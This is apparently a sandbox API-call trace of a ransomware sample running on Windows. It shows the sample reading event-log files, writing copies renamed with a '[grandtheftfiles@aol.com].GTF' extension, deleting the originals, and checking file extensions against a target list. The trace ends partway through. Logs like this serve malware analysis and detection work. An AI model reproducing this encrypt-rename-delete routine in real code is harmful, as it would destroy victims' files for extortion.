	[0081.913] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20
	[0081.913] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.925] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.925] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.925] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.925] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0081.925] GetLastError () returned 0x0
	[0081.925] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.952] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.953] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.954] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x114, lpOverlapped=0x0) returned 1
	[0081.954] SetEndOfFile (hFile=0x31c) returned 1
	[0081.954] CloseHandle (hObject=0x31c) returned 1
	[0081.956] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.956] SetEndOfFile (hFile=0x35c) returned 1
	[0081.957] CloseHandle (hObject=0x35c) returned 1
	[0081.957] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.957] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1
	[0081.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.957] lstrlenW (lpString=".doc") returned 4
	[0081.958] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString=".docx") returned 5
	[0081.958] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.958] lstrlenW (lpString=".pdf") returned 4
	[0081.958] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString=".xls") returned 4
	[0081.958] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString=".xlsx") returned 5
	[0081.958] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.958] lstrlenW (lpString=".ppt") returned 4
	[0081.958] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.958] lstrlenW (lpString=".zip") returned 4
	[0081.958] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString=".rar") returned 4
	[0081.958] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString=".bz2") returned 4
	[0081.958] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString=".7z") returned 3
	[0081.958] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.958] lstrlenW (lpString=".dbf") returned 4
	[0081.958] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.958] lstrlenW (lpString=".1cd") returned 4
	[0081.958] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.958] lstrlenW (lpString=".jpg") returned 4
	[0081.958] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.959] lstrlenW (lpString=".doc") returned 4
	[0081.959] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString=".docx") returned 5
	[0081.959] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.959] lstrlenW (lpString=".pdf") returned 4
	[0081.959] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString=".xls") returned 4
	[0081.959] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString=".xlsx") returned 5
	[0081.959] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.959] lstrlenW (lpString=".ppt") returned 4
	[0081.959] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.959] lstrlenW (lpString=".zip") returned 4
	[0081.959] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString=".rar") returned 4
	[0081.959] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString=".bz2") returned 4
	[0081.959] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString=".7z") returned 3
	[0081.959] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.959] lstrlenW (lpString=".dbf") returned 4
	[0081.959] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.959] lstrlenW (lpString=".1cd") returned 4
	[0081.959] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0081.959] lstrlenW (lpString=".jpg") returned 4
	[0081.959] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.959] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.959] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46
	[0081.960] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.960] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0081.960] CloseHandle (hObject=0x35c) returned 1
	[0081.960] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20
	[0081.960] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.960] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.960] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.960] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.960] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0081.960] GetLastError () returned 0x0
	[0081.960] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.963] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.965] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.965] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x130, lpOverlapped=0x0) returned 1
	[0081.965] SetEndOfFile (hFile=0x31c) returned 1
	[0081.965] CloseHandle (hObject=0x31c) returned 1
	[0081.967] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.967] SetEndOfFile (hFile=0x35c) returned 1
	[0081.969] CloseHandle (hObject=0x35c) returned 1
	[0081.969] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.969] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1
	[0081.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.969] lstrlenW (lpString=".doc") returned 4
	[0081.969] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.969] lstrlenW (lpString=".docx") returned 5
	[0081.969] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.969] lstrlenW (lpString=".pdf") returned 4
	[0081.969] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.969] lstrlenW (lpString=".xls") returned 4
	[0081.969] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.969] lstrlenW (lpString=".xlsx") returned 5
	[0081.969] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.969] lstrlenW (lpString=".ppt") returned 4
	[0081.969] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.969] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.970] lstrlenW (lpString=".zip") returned 4
	[0081.970] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString=".rar") returned 4
	[0081.970] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString=".bz2") returned 4
	[0081.970] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString=".7z") returned 3
	[0081.970] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.970] lstrlenW (lpString=".dbf") returned 4
	[0081.970] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.970] lstrlenW (lpString=".1cd") returned 4
	[0081.970] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.970] lstrlenW (lpString=".jpg") returned 4
	[0081.970] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.970] lstrlenW (lpString=".doc") returned 4
	[0081.970] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString=".docx") returned 5
	[0081.970] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.970] lstrlenW (lpString=".pdf") returned 4
	[0081.970] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString=".xls") returned 4
	[0081.970] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString=".xlsx") returned 5
	[0081.970] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.970] lstrlenW (lpString=".ppt") returned 4
	[0081.970] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.970] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.970] lstrlenW (lpString=".zip") returned 4
	[0081.970] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.971] lstrlenW (lpString=".rar") returned 4
	[0081.971] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.971] lstrlenW (lpString=".bz2") returned 4
	[0081.971] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.971] lstrlenW (lpString=".7z") returned 3
	[0081.971] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.971] lstrlenW (lpString=".dbf") returned 4
	[0081.971] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.971] lstrlenW (lpString=".1cd") returned 4
	[0081.971] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0081.971] lstrlenW (lpString=".jpg") returned 4
	[0081.971] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.971] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.971] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45
	[0081.971] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.971] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0081.971] CloseHandle (hObject=0x35c) returned 1
	[0081.971] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20
	[0081.971] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.972] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.972] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.972] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.972] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0081.972] GetLastError () returned 0x0
	[0081.972] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.975] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.977] ReadFile (in: hFile=0x35c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.977] WriteFile (in: hFile=0x31c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0081.977] SetEndOfFile (hFile=0x31c) returned 1
	[0081.977] CloseHandle (hObject=0x31c) returned 1
	[0081.979] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.979] SetEndOfFile (hFile=0x35c) returned 1
	[0081.981] CloseHandle (hObject=0x35c) returned 1
	[0081.981] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.981] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1
	[0081.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.981] lstrlenW (lpString=".doc") returned 4
	[0081.981] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.981] lstrlenW (lpString=".docx") returned 5
	[0081.982] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.982] lstrlenW (lpString=".pdf") returned 4
	[0081.982] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString=".xls") returned 4
	[0081.982] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString=".xlsx") returned 5
	[0081.982] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.982] lstrlenW (lpString=".ppt") returned 4
	[0081.982] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.982] lstrlenW (lpString=".zip") returned 4
	[0081.982] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString=".rar") returned 4
	[0081.982] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString=".bz2") returned 4
	[0081.982] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString=".7z") returned 3
	[0081.982] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.982] lstrlenW (lpString=".dbf") returned 4
	[0081.982] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.982] lstrlenW (lpString=".1cd") returned 4
	[0081.982] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.982] lstrlenW (lpString=".jpg") returned 4
	[0081.982] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.982] lstrlenW (lpString=".doc") returned 4
	[0081.982] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.982] lstrlenW (lpString=".docx") returned 5
	[0081.982] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.982] lstrlenW (lpString=".pdf") returned 4
	[0081.982] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString=".xls") returned 4
	[0081.983] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString=".xlsx") returned 5
	[0081.983] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.983] lstrlenW (lpString=".ppt") returned 4
	[0081.983] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.983] lstrlenW (lpString=".zip") returned 4
	[0081.983] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString=".rar") returned 4
	[0081.983] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString=".bz2") returned 4
	[0081.983] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString=".7z") returned 3
	[0081.983] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.983] lstrlenW (lpString=".dbf") returned 4
	[0081.983] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.983] lstrlenW (lpString=".1cd") returned 4
	[0081.983] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0081.983] lstrlenW (lpString=".jpg") returned 4
	[0081.983] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.983] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.983] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42
	[0081.983] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.760] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0082.760] CloseHandle (hObject=0x35c) returned 1
	[0082.760] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20
	[0082.760] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.760] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.761] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.761] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.761] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
